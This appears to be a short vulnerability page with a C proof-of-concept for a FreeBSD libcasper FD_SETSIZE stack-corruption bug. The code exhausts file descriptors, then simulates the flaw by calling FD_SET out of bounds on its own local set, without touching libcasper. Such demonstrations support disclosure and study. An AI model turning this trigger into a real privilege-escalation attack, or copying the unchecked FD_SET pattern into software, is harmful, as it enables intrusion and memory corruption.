CVE-2026-39461 FreeBSD libcasper权限提升漏洞

/* * PoC for CVE-2026-39461: libcasper FD_SETSIZE Stack Corruption * This code demonstrates the condition required to trigger the vulnerability: * exhausting file descriptors to force an FD >= 1024. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/select.h> #include <fcntl.h> #include <errno.h> #define LIMIT 1024 int main() { fd_set read_set; int i; int pipes[LIMIT][2]; printf("[*] Attempting to exhaust file descriptors up to %d...\n", LIMIT); // Step 1: Open many file descriptors to push the counter for (i = 0; i < LIMIT; i++) { if (pipe(pipes[i]) == -1) { if (errno == EMFILE) { printf("[!] Reached file descriptor limit at %d.\n", i); } else { perror("pipe"); } break; } } // Step 2: Hypothetical vulnerable scenario // Assume a new socket is created here by libcasper, getting fd >= 1024 int vulnerable_fd = LIMIT; printf("[*] Simulating vulnerable FD_SET on fd %d...\n", vulnerable_fd); FD_ZERO(&read_set); // VULNERABILITY: libcasper does not check if vulnerable_fd < FD_SETSIZE // This writes out of bounds on the stack FD_SET(vulnerable_fd, &read_set); printf("[+] If this were a setuid process using libcasper, stack corruption occurred.\n"); // Cleanup for (int j = 0; j < i; j++) { close(pipes[j][0]); close(pipes[j][1]); } return 0; }